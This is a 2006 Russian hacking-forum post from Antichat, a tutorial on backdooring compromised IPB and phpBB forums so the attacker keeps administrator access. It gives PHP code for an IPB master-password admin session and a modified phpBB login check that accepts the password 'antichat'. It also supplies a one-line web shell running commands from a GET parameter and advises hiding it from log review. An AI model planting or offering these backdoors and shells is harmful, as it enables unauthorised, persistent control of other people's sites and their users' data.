ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Бэкдорим форумы. Теория и практика!
  #1  
Старый 06.09.2006, 21:41
Аватар для gemaglabin
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию Бэкдорим форумы. Теория и практика!

Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB.


IPB

Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку

PHP код:
require_once( ROOT_PATH."sources/action_admin/login.php" ); 
Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.

PHP код:
if ( $this->ipsclass->converge->converge_authenticate_member$pass ) != TRUE )        
{
 
$this->login_form("The password you entered is not correct");

Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию

PHP код:
if (( $this->ipsclass->input['password']) == "antichat")

{
$sess_id md5uniqidmicrotime() ) );
$db_string $this->ipsclass->DB->compile_db_insert_string( array (
                                                                                   
'session_id'                => $sess_id,
                                                                                   
'session_ip_address'        => $this->ipsclass->ip_address,
                                                                                   
'session_member_name'       => $mem['name'],
                                                                                   
'session_member_id'         => $mem['id'],
                                                                                   
'session_member_login_key'  => $mem['member_login_key'],
                                                                                   
'session_location'          => 'index',
                                                                                   
'session_log_in_time'       => time(),
                                                                                   
'session_running_time'      => time(),
                                                                         )        );
                                                          
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect$this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query'Log In Successful' );
exit();

Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.

но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код

PHP код:
system("$_GET[c];"); 
При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

phpBB

В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте.

В этом месте скрипт сравнивает правильность введенного пароля
PHP код:
if( md5($password) == $row['user_password'] && $row['user_active'] ) 
Меняем эту строчку на
PHP код:
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) 
Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
PHP код:
system("$_GET[c];"); 
Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

* Про то,как поднять права в различных форумах можно прочитать тут

Последний раз редактировалось gemaglabin; 06.09.2006 в 21:44..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нашел исходники чата (интегрируется в форумы и cms: IPB, PhpBB, mambo и др.) TANZWUT Чаты 12 22.04.2006 16:09
Практика есть практика... Kreps Болталка 7 08.12.2005 14:38
IP-cканирование для самых маленьких: теория и практика k00p3r Чужие Статьи 0 08.06.2005 14:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ